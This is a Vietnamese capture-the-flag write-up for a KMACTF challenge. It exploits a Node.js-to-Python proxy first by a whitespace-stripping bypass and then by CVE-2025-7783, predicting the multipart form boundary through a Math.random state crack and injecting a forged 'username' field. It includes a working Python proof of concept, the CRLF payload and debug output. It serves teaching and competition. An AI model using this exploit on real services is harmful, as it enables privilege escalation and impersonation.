biến môi trường của `python-server` và nó không public port -> chỉ có thể truy cập thông qua `nodejs-server`. -> ở bài này mình cũng trace ngược từ `python-server` để tiếp cận nhanh với `way to get flag` ### 1: python-server :::spoiler Dockerfile ```dockerfile # Python Server Dockerfile FROM python:3.11-alpine WORKDIR /app # Install system dependencies RUN apk add --no-cache gcc musl-dev # Copy requirements first for better caching COPY requirements.txt . # Install Python dependencies RUN pip install --no-cache-dir -r requirements.txt # Copy application code COPY . . # Create non-root user RUN adduser -D -s /bin/sh ctfuser RUN chown -R ctfuser:ctfuser /app USER ctfuser EXPOSE 8080 CMD ["python", "main.py"] ``` ::: :::spoiler main.py ```python #!/usr/bin/env python3 from flask import Flask, request, jsonify import os import logging from datetime import datetime # Configure logging logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) app = Flask(__name__) # Environment variables FLAG = os.getenv("FLAG", "KMACTF{REDACTED}") PORT = int(os.getenv("PORT", "8080")) def get_timestamp(): """Get current timestamp in ISO format""" return datetime.utcnow().isoformat() + "Z" def send_error_response(error, message, status_code=400): """Send error response""" return jsonify({ "error": error, "message": message, "timestamp": get_timestamp() }), status_code def process_action(username, action): """Process different actions""" if action == "foo": return "bar", "Action 'foo' executed successfully", None elif action == "readFlag": if username == "admin": return FLAG, "Flag retrieved successfully - you are admin!", None else: return "Access denied", f"Flag access denied for user '{username}' - admin privileges required", None else: return None, "", f"unknown action: {action}. Available actions: foo, readFlag" @app.route('/execute', methods=['POST']) def execute_handler(): """Handle execute requests from Node.js server""" try: # Check if request has form data if not request.form: return send_error_response( "Form parsing failed", "No form data found in request", 400 ) # Extract form values username = request.form.get('username', '').strip() request_id = request.form.get('requestid', '').strip() action = request.form.get('action', '').strip() # Log request for debugging logger.info(f"Received request - Username: {username}, RequestID: {request_id}, Action: {action}") # Validate required fields if not username or not request_id or not action: return send_error_response( "Missing required fields", "username, requestid, and action are required", 400 ) # Process action result, message, error = process_action(username, action) if error: return send_error_response("Action processing failed", error, 400) # Send success response response = { "requestid": request_id, "action": action, "result": result, "username": username, "timestamp": get_timestamp(), "message": message } return jsonify(response), 200 except Exception as e: logger.error(f"Execute handler error: {str(e)}") return send_error_response( "Internal server error", str(e), 500 ) @app.route('/health', methods=['GET']) def health_handler(): """Health check endpoint""" response = { "status": "healthy", "service": "python-server", "timestamp": get_timestamp(), "actions": ["foo", "readFlag"], "flag_hint": "readFlag action requires admin username" } return jsonify(response), 200 @app.route('/', methods=['GET']) def info_handler(): """Server information endpoint""" response = { "message": "CTF Challenge - Python Flag Server", "service": "python-server", "timestamp": get_timestamp(), "endpoints": { "POST /execute": "Execute action (requires form data: username, requestid, action)", "GET /health": "Health check", "GET /": "Server information" }, "actions": { "foo": "Returns 'bar'", "readFlag": "Returns flag if username is 'admin'" }, "security_info": { "form_data": "Uses form-data to prevent parameter pollution", "admin_required": "Flag access requires username='admin'", "request_logging": "All requests are logged for debugging" } } return jsonify(response), 200 @app.errorhandler(404) def not_found(error): """Handle 404 errors""" return send_error_response( "Not found", f"Endpoint not found", 404 ) @app.errorhandler(405) def method_not_allowed(error): """Handle 405 errors""" return send_error_response( "Method not allowed", f"Method {request.method} is not allowed for this endpoint", 405 ) @app.errorhandler(500) def internal_error(error): """Handle 500 errors""" return send_error_response( "Internal server error", "An unexpected error occurred", 500 ) if __name__ == '__main__': logger.info(f"🚀 Python server starting on port {PORT}") logger.info(f"🎯 Flag: {FLAG}") logger.info(f"🔒 Admin username required for flag: 'admin'") logger.info(f"⚡ Available actions: foo -> bar, readFlag -> flag (admin only)") # Run Flask app app.run( host='0.0.0.0', port=PORT, debug=False, threaded=True ) ``` ::: "Nào bạn nhanh tay tìm ngay flag" -> `# Environment variables FLAG = os.getenv("FLAG", "KMACTF{REDACTED}")` được lấy ra gắn biến FLAG. ```python def process_action(username, action): """Process different actions""" if action == "foo": return "bar", "Action 'foo' executed successfully", None elif action == "readFlag": if username == "admin": return FLAG, "Flag retrieved successfully - you are admin!", None else: return "Access denied", f"Flag access denied for user '{username}' - admin privileges required", None else: return None, "", f"unknown action: {action}. Available actions: foo, readFlag" ``` Và chỉ có một nơi duy nhất có thể trigger để nhận flag. ```python @app.route('/execute', methods=['POST']) def execute_handler(): """Handle execute requests from Node.js server""" try: # Check if request has form data if not request.form: return send_error_response( "Form parsing failed", "No form data found in request", 400 ) # Extract form values username = request.form.get('username', '').strip() request_id = request.form.get('requestid', '').strip() action = request.form.get('action', '').strip() # Log request for debugging logger.info(f"Received request - Username: {username}, RequestID: {request_id}, Action: {action}") # Validate required fields if not username or not request_id or not action: return send_error_response( "Missing required fields", "username, requestid, and action are required", 400 ) # Process action result, message, error = process_action(username, action) if error: return send_error_response("Action processing failed", error, 400) # Send success response response = { "requestid": request_id, "action": action, "result": result, "username": username, "timestamp": get_timestamp(), "message": message } return jsonify(response), 200 except Exception as e: logger.error(f"Execute handler error: {str(e)}") return send_error_response( "Internal server error", str(e), 500 ) ``` `process_action` được gọi ở api `/execute`: Tại đây nó lấy từ form: :::danger ```python # Extract form values username = request.form.get('username', '').strip() request_id = request.form.get('requestid', '').strip() action = request.form.get('action', '').strip() ``` ::: -> Đây sẽ là điểm lợi dụng hiệu quả để giải quyết bài này -> sau khi đọc xong phần dưới đây ta sẽ hiểu :-1: Sau đó `username` và `action` được đưa vào `process_action` và để có flag thì `username == "admin"` và `action == "readFlag"` ### 2: nodejs-server :::spoiler Dockerfile ```dockerfile # Node.js 18 Dockerfile FROM node:18.20.4-alpine WORKDIR /app # Copy package files COPY package*.json ./ # Install dependencies RUN npm install --production # Copy application code COPY . . # Create non-root user RUN addgroup -g 1001 -S nodejs RUN adduser -S ctfuser -u 1001 RUN chown -R ctfuser:nodejs /app USER ctfuser EXPOSE 3000 CMD ["npm", "start"] ``` ::: :::spoiler index.js ```javascript const express = require('express'); const jwt = require('jsonwebtoken'); const bcrypt = require('bcrypt'); const app = express(); const PORT = process.env.PORT || 3000; const JWT_SECRET = process.env.JWT_SECRET || 'nope'; const PYTHON_SERVER = process.env.PYTHON_SERVER || 'http://python-server:8080'; // In-memory user storage const users = {}; // Middleware app.use(express.json()); app.use(express.urlencoded({ extended: true })); // Generate request ID const generateRequestId = () => { return Math.floor(Math.random() * 1e11).toString().padStart(11, '0'); }; // Middleware to add requestId to all responses app.use((req, res, next) => { if (req.headers['x-request-id']) { req.requestId = req.headers['x-request-id']; } else { req.requestId = generateRequestId(); } // Add request ID to response headers res.setHeader('X-Request-ID', req.requestId); // Log request with ID console.log(`[${new Date().toISOString()}] Request ${req.requestId}: ${req.method} ${req.path}`); next(); }); // JWT middleware const authenticateToken = (req, res, next) => { const authHeader = req.headers['authorization']; const token = authHeader && authHeader.split(' ')[1]; if (!token) { return res.status(401).json({ error: 'Access token required' }); } jwt.verify(token, JWT_SECRET, (err, user) => { if (err) { return res.status(403).json({ error: 'Invalid or expired token' }); } req.user = user; next(); }); }; // Routes // Home page app.get('/', (req, res) => { res.json({ message: 'CTF Challenge - Node.js + Python Server', service: 'nodejs-server', endpoints: { 'POST /register': 'Register new user (username > 5 chars)', 'POST /login': 'Login and get JWT token', 'POST /action': 'Execute action on Python server (requires auth)', 'GET /health': 'Health check' }, instructions: [ '1. Register with username > 5 characters', '2. Login to get JWT token', '3. Use /action endpoint with action=foo or action=readFlag' ] }); }); // Register endpoint app.post('/register', async (req, res) => { const { username, password } = req.body; if (!username || !password) { return res.status(400).json({ error: 'Username and password are required' }); } if( typeof username !== 'string' || typeof password !== 'string' ) { return res.status(400).json({ error: 'Username and password must be strings' }); } // Validate username length (must be > 5 characters) if (username.length <= 5) { return res.status(400).json({ error: 'Username must be longer than 5 characters' }); } if (users[username]) { return res.status(400).json({ error: 'User already exists' }); } try { const hashedPassword = await bcrypt.hash(password, 10); users[username] = { username, password: hashedPassword, createdAt: new Date().toISOString() }; res.json({ message: 'User registered successfully', username: username, hint: 'Now you can login to get JWT token' }); } catch (error) { res.status(500).json({ error: 'Registration failed', message: error.message }); } }); // Login endpoint app.post('/login', async (req, res) => { const { username, password } = req.body; if (!username || !password) { return res.status(400).json({ error: 'Username and password are required' }); } if(typeof username !== 'string' || typeof password !== 'string') { return res.status(400).json({ error: 'Username and password must be strings' }); } const user = users[username]; if (!user) { return res.status(401).json({ error: 'Invalid credentials' }); } try { const validPassword = await bcrypt.compare(password, user.password); if (!validPassword) { return res.status(401).json({ error: 'Invalid credentials' }); } // Create JWT token const token = jwt.sign( { username: user.username, iat: Math.floor(Date.now() / 1000) }, JWT_SECRET, { expiresIn: '24h' } ); res.json({ message: 'Login successful', token: token, username: user.username, hint: 'Use this token in Authorization: Bearer <token> header' }); } catch (error) { res.status(500).json({ error: 'Login failed', message: error.message }); } }); // Action endpoint - proxy to Python server with form data app.post('/action', authenticateToken, async (req, res) => { const { action } = req.body; if (!action) { return res.status(400).json({ error: 'Action parameter is required', available_actions: ['foo', 'readFlag'] }); } try { // Create form data to send to Python server (to prevent param pollution) const formData = new FormData(); formData.append('requestid', req.requestId); formData.append('action', action); formData.append('username', req.user.username); console.log(`[${new Date().toISOString()}] Proxying to Python server:`, { username: req.user.username, requestId: req.requestId, action: action }); // Send request to Python server const response = await fetch(`${PYTHON_SERVER}/execute`, { method: 'POST', body: formData }); const pythonData = await response.json(); // Check if Python server returned an error if (!response.ok) { return res.status(response.status).json({ error: 'Python server error', message: pythonData.message || pythonData.error || 'Unknown error', python_response: pythonData }); } // Return response from Python server res.json({ message: 'Action executed successfully', nodejs_info: { authenticated_user: req.user.username, request_id: req.requestId, action: action }, python_response: pythonData }); } catch (error) { console.error('Error calling Python server:', error.message); res.status(500).json({ error: 'Request failed', message: error.message, details: 'Unable to connect to Python server' }); } }); // Health check app.get('/health', (req, res) => { res.json({ status: 'healthy', service: 'nodejs-server', requestId: req.requestId, timestamp: new Date().toISOString(), users_count: Object.keys(users).length, python_server: PYTHON_SERVER }); }); // Debug endpoint (for testing) // app.get('/debug', authenticateToken, (req, res) => { // res.json({ // message: 'Debug information', // authenticated_user: req.user, // available_users: Object.keys(users), // jwt_secret_hint: JWT_SECRET.substring(0, 10) + '...', // golang_server: GOLANG_SERVER // }); // }); // Error handler app.use((err, req, res, next) => { console.error(`Request ${req.requestId}: ${err.stack}`); res.status(500).json({ error: 'Internal server error', message: err.message, requestId: req.requestId }); }); // 404 handler app.use((req, res) => { res.status(404).json({ error: 'Not found', message: `Endpoint ${req.method} ${req.path} not found`, requestId: req.requestId }); }); app.listen(PORT, () => { console.log(`🚀 Node.js server running on port ${PORT}`); console.log(`🔗 Python server: ${PYTHON_SERVER}`); console.log(`🔑 JWT Secret: ${JWT_SECRET}`); console.log(`📝 Users registered: ${Object.keys(users).length}`); }); ``` ::: Ta thấy ở đây chỉ có `/action` là có thể xiên ngang qua: ```javascript const response = await fetch(`${PYTHON_SERVER}/execute`, { method: 'POST', body: formData }); ``` Nó nhận `action` từ body req -> sau đó gom các dữ kiện từ người dùng vào form để gửi ```javascript const formData = new FormData(); formData.append('requestid', req.requestId); formData.append('action', action); formData.append('username', req.user.username); ``` ```javascript // JWT middleware const authenticateToken = (req, res, next) => { const authHeader = req.headers['authorization']; const token = authHeader && authHeader.split(' ')[1]; if (!token) { return res.status(401).json({ error: 'Access token required' }); } jwt.verify(token, JWT_SECRET, (err, user) => { if (err) { return res.status(403).json({ error: 'Invalid or expired token' }); } req.user = user; next(); }); }; ``` Middleware này sẽ lấy token để verify sau đó gắn các giá trị tương ứng của người dùng. Để có account thì api /register sẽ cho phép người dùng register với username len > 5: ```javascript // Register endpoint app.post('/register', async (req, res) => { const { username, password } = req.body; if (!username || !password) { return res.status(400).json({ error: 'Username and password are required' }); } if( typeof username !== 'string' || typeof password !== 'string' ) { return res.status(400).json({ error: 'Username and password must be strings' }); } // Validate username length (must be > 5 characters) if (username.length <= 5) { return res.status(400).json({ error: 'Username must be longer than 5 characters' }); } if (users[username]) { return res.status(400).json({ error: 'User already exists' }); } try { const hashedPassword = await bcrypt.hash(password, 10); users[username] = { username, password: hashedPassword, createdAt: new Date().toISOString() }; res.json({ message: 'User registered successfully', username: username, hint: 'Now you can login to get JWT token' }); } catch (error) { res.status(500).json({ error: 'Registration failed', message: error.message }); } }); ``` -> Sau khi reg thì account được lưu lại với key là username, password hash bcrypt: ```javascript // In-memory user storage const users = {}; ``` -> giờ đây ta chỉ cần dùng username là ` admin `,... là đã có thể tạo riêng cho mình một account. Tiếp theo chỉ cần login bình thường: :::spoiler /login ```javascript // Login endpoint app.post('/login', async (req, res) => { const { username, password } = req.body; if (!username || !password) { return res.status(400).json({ error: 'Username and password are required' }); } if(typeof username !== 'string' || typeof password !== 'string') { return res.status(400).json({ error: 'Username and password must be strings' }); } const user = users[username]; if (!user) { return res.status(401).json({ error: 'Invalid credentials' }); } try { const validPassword = await bcrypt.compare(password, user.password); if (!validPassword) { return res.status(401).json({ error: 'Invalid credentials' }); } // Create JWT token const token = jwt.sign( { username: user.username, iat: Math.floor(Date.now() / 1000) }, JWT_SECRET, { expiresIn: '24h' } ); res.json({ message: 'Login successful', token: token, username: user.username, hint: 'Use this token in Authorization: Bearer <token> header' }); } catch (error) { res.status(500).json({ error: 'Login failed', message: error.message }); } }); ``` ::: -> khi mà đúng username - password thì token được sign với `JWT_SECRET` và trả ra cho ta. Ngoài ra thì ở đây cũng có một middleware để thêm vào `X-Request-ID`: ```javascript // Generate request ID const generateRequestId = () => { return Math.floor(Math.random() * 1e11).toString().padStart(11, '0'); }; // Middleware to add requestId to all responses app.use((req, res, next) => { if (req.headers['x-request-id']) { req.requestId = req.headers['x-request-id']; } else { req.requestId = generateRequestId(); } // Add request ID to response headers res.setHeader('X-Request-ID', req.requestId); // Log request with ID console.log(`[${new Date().toISOString()}] Request ${req.requestId}: ${req.method} ${req.path}`); next(); }); ``` Về logic cũng không có gì đặc biệt lắm ¯\_(ツ)_/¯. ### 3: Cách 1_ Unintended -> bypass with strip() Như ta để ý dòng trên thì ở python server -> khi nhận username, action, requestid nó strip đi tức là ` admin `, hay bất kì space ở đầu hay cuối đều bị loại bỏ -> bypass việc register với username bắt buộc len phải > 5; -> Tiếp theo chỉ cần post action `readFlag` là được. ![image](https://hackmd.io/_uploads/Bk-J3fY2lx.png) ![image](https://hackmd.io/_uploads/HyVl2zthgg.png) ![image](https://hackmd.io/_uploads/BJWVnMF3xx.png) flag: `KMACTF{how_can_you_pollute_param_@@_}` ### 4: Cách 2_ Intended CVE-2025-7783 - HTTP param polution ```c /app/node_modules $ node -p "process.version" v18.20.4 /app/node_modules $ node -p "typeof FormData" function ``` Sau khi kiểm tra khá nhiều hướng khai thác thì mình thử searching FormData xem có lỗi không bởi vì chắc hẳn không tự nhiên mà tác giả lại thêm vào middleware là header này: ```javascript // Middleware to add requestId to all responses app.use((req, res, next) => { if (req.headers['x-request-id']) { req.requestId = req.headers['x-request-id']; } else { req.requestId = generateRequestId(); } // Add request ID to response headers res.setHeader('X-Request-ID', req.requestId); // Log request with ID console.log(`[${new Date().toISOString()}] Request ${req.requestId}: ${req.method} ${req.path}`); next(); }); ``` ```c // Create form data to send to Python server (to prevent param pollution) const formData = new FormData(); ``` Rất nhanh chóng ta có thể thấy ngay ở đây có CVE: https://www.cve.org/CVERecord?id=CVE-2025-7783 Đề cập như sau: :::warning Description Usage of unsafe random function in form-data for choosing boundary Use of Insufficiently Random Values vulnerability in form-data allows HTTP Parameter Pollution (HPP). This vulnerability is associated with program files lib/form_data.Js. This issue affects form-data: < 2.5.4, 3.0.0 - 3.0.3, 4.0.0 - 4.0.3. ::: Ta có thể quan sát commit/link này để xem nguyên nhân: https://github.com/form-data/form-data/security/advisories/GHSA-fjxv-7rqg-78g4 https://github.com/form-data/form-data/commit/3d1723080e6577a66f17f163ecd345a21d8d0fd0#diff-3e43d32fd2883fc8300dbf75f467758665f0be79f3e26f4b2c7dfcfe69496e23 ![1](https://hackmd.io/_uploads/rkvEohY3gg.png) Tham khảo: https://hackerone.com/reports/2913312 POC: https://github.com/benweissmann/CVE-2025-7783-poc ![image](https://hackmd.io/_uploads/rk_NSaF2ex.png) Vậy đúng như mô tả CVE và middleware add `req.headers['x-request-id']` -> **Checking:** Mặc dù mô tả đối chiếu với mã nguồn là 96,69% ? tuy nhiên việc xác định đúng xem có lỗi hay không cũng có ảnh hưởng tích cực đến quá trình làm bài -> không bị rơi vào các `rabit hole`. Version: `This issue affects form-data: < 2.5.4, 3.0.0 - 3.0.3, 4.0.0 - 4.0.3.` Tuy nhiên lib này lại không có trong `package.json`: ```json { "name": "ctf-nodejs-server", "version": "1.0.0", "description": "CTF Challenge - Node.js Server with JWT Auth", "main": "index.js", "scripts": { "start": "node index.js", "dev": "nodemon index.js" }, "dependencies": { "express": "^4.18.2", "jsonwebtoken": "^9.0.2", "bcrypt": "^5.1.1" }, "devDependencies": { "nodemon": "^3.0.2" }, "engines": { "node": ">=18.0.0" }, "keywords": ["ctf", "jwt", "auth", "proxy"], "author": "CTF Challenge Creator", "license": "MIT" } ``` Sau một hồi tìm kiếm thì mình tìm được các bài viết liên quan, cụ thể: https://socket.dev/blog/critical-vulnerability-in-popular-npm-form-data-package ![image](https://hackmd.io/_uploads/BkeO2pF2eg.png) ![image](https://hackmd.io/_uploads/ByQK3pFnee.png) Đây là câu trả lời mà chúng ta cần -> để dễ dàng kiểm tra hơn thì ta có thể xem thêm mã nguồn ở đây có `FROM node:18.20.4-alpine` có cả `FROM node:18.20.4` thì nó đã xóa file form-data.js trong mã nguồn của node rồi thay vào đó phần implement FormData được lấy trực tiếp từ undici và được để trong thư mục deps/undici. Tìm đến mã nguồn của nodejs 18.20.4: https://github.com/nodejs/node/blob/v18.20.4/deps/undici/src/package.json ![2](https://hackmd.io/_uploads/BJ85kRK3xe.png) Qúa tuyệt rồi version 4.0.0 có bug. https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347 ### 5: Deep in vuln(undici or form-data) Thư viện form-data khi tạo multipart request cần một chuỗi boundary (ranh giới) để phân tách các phần dữ liệu. Đây cũng là chuỗi mà ta hay thấy khi mà upload form mà file (https://medium.com/@muhebollah.diu/understanding-multipart-form-data-the-ultimate-guide-for-beginners-fd039c04553d) Yêu cầu: Boundary này phải là ngẫu nhiên, khó đoán để kẻ tấn công không thể chèn dữ liệu giả mạo. Do dòng: :::warning ```javascript boundary += Math.floor(Math.random() * 10).toString(16); ``` ::: Yêu cầu: Ta phải quan sát được output từ Math.random() trong cùng process. ```javascript const generateRequestId = () => { return Math.floor(Math.random() * 1e11).toString().padStart(11, '0'); }; ``` Đây là res trả ra qua header nên ta sẽ dùng để `khôi phục trạng thái của PRNG`. :::spoiler ```javascript // const xxx = {}; // // In-memory user storage // const users = {}; // const username = "__proto__"; // users[username] = { // username, // password: "aaaa", // createdAt: new Date().toISOString() // }; // console.log(Object.getPrototypeOf(users)); // console.log(xxx.username); import fetch from "node-fetch"; import FormData from "form-data"; import { HttpsProxyAgent } from "https-proxy-agent"; async function main() { const proxy = 'http://127.0.0.1:8080'; const agent = new HttpsProxyAgent(proxy); const formData = new FormData(); formData.append('requestid', 'aaaaaaaaaaaaaa'); formData.append('action', 'foo'); formData.append('username', 'laaaaam'); const response = await fetch('http://localhost:8090/execute', { method: 'POST', body: formData, agent }); const data = await response.json(); console.log(data); } main().catch(console.error); // const a = Math.floor(Math.random() * 10).toString(16); // console.log(a); ``` ::: :::spoiler package.json ```json { "name": "ctf-nodejs-server", "version": "1.0.0", "description": "CTF Challenge - Node.js Server with JWT Auth", "main": "index.js", "scripts": { "start": "node index.js", "dev": "nodemon index.js" }, "dependencies": { "bcrypt": "^5.1.1", "express": "^4.18.2", "form-data": "4.0.0", "https-proxy-agent": "^7.0.6", "jsonwebtoken": "^9.0.2", "node-fetch": "^3.3.2" }, "devDependencies": { "nodemon": "^3.0.2" }, "engines": { "node": ">=18.0.0" }, "keywords": [ "ctf", "jwt", "auth", "proxy" ], "author": "CTF Challenge Creator", "license": "MIT", "type": "module" } ``` ::: ![3](https://hackmd.io/_uploads/S1pLoRKnxg.png) Điều HTTP param polution sẽ xảy ra như sau: ![4](https://hackmd.io/_uploads/Bkc_-xq2ee.png) Việc injection trước `formData.append('username', req.user.username);` một form-data - name là username thì phía python server sẽ nhận giá trị được cung cấp trước trong body được ngăn cách bằng boundary. -> Vậy: ```javascript const formData = new FormData(); formData.append('requestid', req.requestId); formData.append('action', action); formData.append('username', req.user.username); ``` Từ đó -> ta bắt buộc phải inject ở action hoặc requestid tuy nhiên sau khi thử khá nhiều lần thì mình nhận ra rằng: Nếu inject ở header ta cần phải có \r\n tuy nhiên điều này lại không được cho phép ở header: ![image](https://hackmd.io/_uploads/B1CjP_93lx.png) Vậy nếu url encode nó thì mặc định header này sẽ được nhận nguyên dạng luôn (không được url decode như ở path hay body). => Do đó ta chỉ có thể injection ngay ở action luôn: lí do -> crack random sẽ cần lấy ra những output của hàm Random trước sau đó tính toán để tìm được chính xác giá trị random tiếp -> do đó nếu ta inject vào username khi register chẳng hạn -> thì có thể vẫn được tuy nhiên giá trị random làm sao mà ta đoán được sớm thể đúng không -> không thể inject vào username. Lỗ hổng trong hàm random được để cập rất nhiều và có nhiều tool được custom sẵn: https://github.com/Mistsuu/randcracks/tree/release ### 6: Sự khác biệt trong cách xử lý giữa form-data từ npm 4.0.0 được cài đặt và form data được dùng trong node version 18 https://github.com/nodejs/node/blob/v18.20.4/deps/undici/undici.js#L10 Tại đường dẫn trên ta có thể thấy giá trị của chuỗi boundary không phải được gen như này: ```javascript var boundary = '--------------------------'; for (var i = 0; i < 24; i++) { boundary += Math.floor(Math.random() * 10).toString(16); } this._boundary = boundary; }; ``` Mà khác đi một chút: ![6](https://hackmd.io/_uploads/r1of2t53xg.png) prefix sẽ là `----formdata-undici-0` sau đó thêm 11 bytes được gen từ hàm Random (0 ở trước đó là padding) -> vẫn cơ chế khai thác cũ đó. Cụ thể block code xử lý ở đây: :::spoiler form-data ```javascript const boundary = `----formdata-undici-0${`${Math.floor(Math.random() * 1e11)}`.padStart(11, "0")}`; const prefix = `--${boundary}\r Content-Disposition: form-data`; const escape = /* @__PURE__ */ __name((str) => str.replace(/\n/g, "%0A").replace(/\r/g, "%0D").replace(/"/g, "%22"), "escape"); const normalizeLinefeeds = /* @__PURE__ */ __name((value) => value.replace(/\r?\n|\r/g, "\r\n"), "normalizeLinefeeds"); const blobParts = []; const rn = new Uint8Array([13, 10]); length = 0; let hasUnknownSizeValue = false; for (const [name, value] of object) { if (typeof value === "string") { const chunk2 = textEncoder.encode(prefix + `; name="${escape(normalizeLinefeeds(name))}"\r \r ${normalizeLinefeeds(value)}\r `); blobParts.push(chunk2); length += chunk2.byteLength; } else { const chunk2 = textEncoder.encode(`${prefix}; name="${escape(normalizeLinefeeds(name))}"` + (value.name ? `; filename="${escape(value.name)}"` : "") + `\r Content-Type: ${value.type || "application/octet-stream"}\r \r `); blobParts.push(chunk2, value, rn); if (typeof value.size === "number") { length += chunk2.byteLength + value.size + rn.byteLength; } else { hasUnknownSizeValue = true; } } } const chunk = textEncoder.encode(`--${boundary}--`); blobParts.push(chunk); length += chunk.byteLength; if (hasUnknownSizeValue) { length = null; } source = object; action = /* @__PURE__ */ __name(async function* () { for (const part of blobParts) { if (part.stream) { yield* part.stream(); } else { yield part; } } }, "action"); type = "multipart/form-data; boundary=" + boundary; ``` ::: ![image](https://hackmd.io/_uploads/HJ-aCt9hgg.png) Nó duyệt qua hết name và value các trường mà được truyền vào FormData: ```javascript if (typeof value === "string") { const chunk2 = textEncoder.encode(prefix + `; name="${escape(normalizeLinefeeds(name))}"\r \r ${normalizeLinefeeds(value)}\r `); blobParts.push(chunk2); length += chunk2.byteLength; ``` Nếu mà value là string -> ở bài này thì nó xử lý ở dạng string hết -> thì name sẽ escape - ở đây là username nên không escape gì. ```c \n (LF) → thay bằng %0A \r (CR) → thay bằng %0D " → thay bằng %22 ``` Cái này nhằm việc không phá vỡ cú pháp của `Content-Disposition` Sau đó là value được `${escape(normalizeLinefeeds(name))}`: ```c \n (LF) → \r\n \r (CR) → \r\n \r\n → \r\n ``` Sau đó chúng được push vào - đồng thời update content-length Tương tự cho các value là file/blob ```javascript const chunk = textEncoder.encode(`--${boundary}--`); blobParts.push(chunk); length += chunk.byteLength; if (hasUnknownSizeValue) { length = null; } source = object; action = /* @__PURE__ */ __name(async function* () { for (const part of blobParts) { if (part.stream) { yield* part.stream(); } else { yield part; } } }, "action"); type = "multipart/form-data; boundary=" + boundary; ``` Cuối cùng là `boundary--` kết thúc được thêm vào nhằm chỉ thị là kết thúc octet stream với `const chunk = textEncoder.encode(`--${boundary}--`);` -> sau đó cập nhật `type = "multipart/form-data; boundary=" + boundary;` là giá trị của `content-type` mà ta hay thấy. Vậy lỗ hổng này sẽ inject vào value để phá vỡ - hay nói cách khác là thêm một form-data trước giá trị cần polution để phía server nhận xử lí cái ta inject thay vì cái ban đầu. -> Crack hàm random -> dự đoán được `boundary` mới. -> Dùng kí tự crlf để ghi thêm form-data. payload: `readFlag\r\n------formdata-undici-0{11bytes}\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\nadmin` Với giá trị này thì buffe stream trở thành + phần username được push vào sau: ```javascript const formData = new FormData(); formData.append('requestid', "11111111111"); formData.append('action', action); formData.append('username', req.user.username); ``` ```c ------formdata-undici-0{11-bytes}\rContent-Disposition: form-data; name="requestid"/r/r11111111111/r------formdata-undici-0{11-bytes}\rContent-Disposition: form-data; name="action"/r/rreadFlag\r\n------formdata-undici-058839547970\r\nContent-Disposition: form-data; name="username"\r\n\r\nadmin\r------formdata-undici-0{11-bytes}\rContent-Disposition: form-data; name="username"\r\rl3mnt2010\r------formdata-undici-0{11-bytes}-- ``` :::info Tại sao lại thêm `requestid` vì middleware mặc định sẽ thêm cho ta - câu trả lời đó là nếu mà không có `req.headers['x-request-id']` chương trình sẽ gọi thêm một lần gen nữa `req.requestId = generateRequestId();` và lúc này chuẩn đoán(crack) từ mấy lần trước của ta sẽ bị thiếu 1 lần -> do đó ta phải chuẩn đoán(crack) thêm một lần nữa để lấy được giá trị chính xác của `11-bytes`, nếu không thì giá trị này sẽ là của `requestId` tiếp theo được trả ra ở header nếu không set. ::: ### 7: POC ```python import subprocess import json import requests from urllib.parse import quote import sys import time from xorshift128p_crack import RandomSolver import math # TARGET_LEAK = "http://localhost:3000" # TARGET_PAYMENT = "http://localhost:3000/action" TARGET_LEAK = "http://165.22.55.200:50004" TARGET_PAYMENT = "http://165.22.55.200:50004/action" vals = [] boundaryIntro = "------formdata-undici-" def crack_random(observed_vals): outputs = [] for v in observed_vals[:10]: try: outputs.append(int(float(v))) except Exception: digits = "".join(ch for ch in str(v) if ch.isdigit()) outputs.append(int(digits) if digits else 0) solver = RandomSolver() for out in outputs: solver.submit_random_mul_const(out, 10 ** 11) solver.solve() if not solver.answers: raise RuntimeError("No solutions from RandomSolver") answer = solver.answers[0] seq = [str(math.floor((10 ** 11) * answer.random())) for _ in range(24)] return seq[0] def main(): session = requests.Session() headers_leak = {"Connection": "close"} for i in range(10): r = session.get(TARGET_LEAK, headers=headers_leak) if r.status_code != 200: raise RuntimeError(f"Failed to fetch (status {r.status_code})") request_id = r.headers.get("x-request-id") if not request_id: raise RuntimeError("No x-request-id") _ = r.text vals.append(request_id) first_crack = crack_random(vals) first_crack = str(first_crack).zfill(12) payload = "readFlag\r\n" + boundaryIntro + first_crack + "\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\nadmin" encoded_payload = quote(payload, safe='') post_headers = { "Content-Type": "application/x-www-form-urlencoded", "x-request-id": "11111111111", "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImwzbW50MjAxMCIsImlhdCI6MTc1OTMxMDc1NSwiZXhwIjoxNzU5Mzk3MTU1fQ.Wqk2OH7nHt0hVYF2u9aBfKIhv8nwvRITKCVmjsVVer4", "Connection": "close", } for attempt in range(3): try: r = session.post( TARGET_PAYMENT, headers=post_headers, data=f"action={encoded_payload}", timeout=10 ) print("Status:", r.status_code) print("Response body:") print(r.text) break except requests.RequestException as e: print(f"Request error (attempt {attempt+1}): {e}", file=sys.stderr) if attempt == 2: raise time.sleep(0.5) if __name__ == "__main__": main() ``` Nếu không muốn debug ta có thể thêm vào dòng này để đọc được buffer mà `FormData` gửi đi để check: ```javascript //////////////////////////////////// //// Trick: Tạo fake Response để extract buffer const fakeResponse = new Response(formData); const rawBody = Buffer.from(await fakeResponse.arrayBuffer()); console.log("=== RAW BODY ==="); console.log(rawBody.toString()); //////////////////////////////////// ``` Ban đầu thì mình cũng không nhận ra được là cách xử lý của 2 lib trong node 18 và form-data 4.0.0 khác nhau cho nên bị rơi vào rabbit hole đó là dùng sai format `boundary` dưới dạng như này: ![image](https://hackmd.io/_uploads/Byfxuc53lg.png) -> Với debug thì ta sẽ đọc để sửa lỗi: ```c [2025-10-01T12:02:39.736Z] Request 11111111111: POST /action readFlag ------formdata-undici-058373383344 Content-Disposition: form-data; name="username" admin Trên là actionnn ở nodejs === Content-Type === multipart/form-data; boundary=----formdata-undici-042813848411 === RAW BODY === ------formdata-undici-058373383344 Content-Disposition: form-data; name="requestid" 11111111111 ------formdata-undici-058373383344 Content-Disposition: form-data; name="action" readFlag ------formdata-undici-058373383344 Content-Disposition: form-data; name="username" admin ------formdata-undici-058373383344 Content-Disposition: form-data; name="username" l3mnt2010 ------formdata-undici-058373383344-- [2025-10-01T12:02:39.830Z] Proxying to Python server: { username: 'l3mnt2010', requestId: '11111111111', action: 'readFlag\r\n' + '------formdata-undici-058373383344\r\n' + 'Content-Disposition: form-data; name="username"\r\n' + '\r\n' 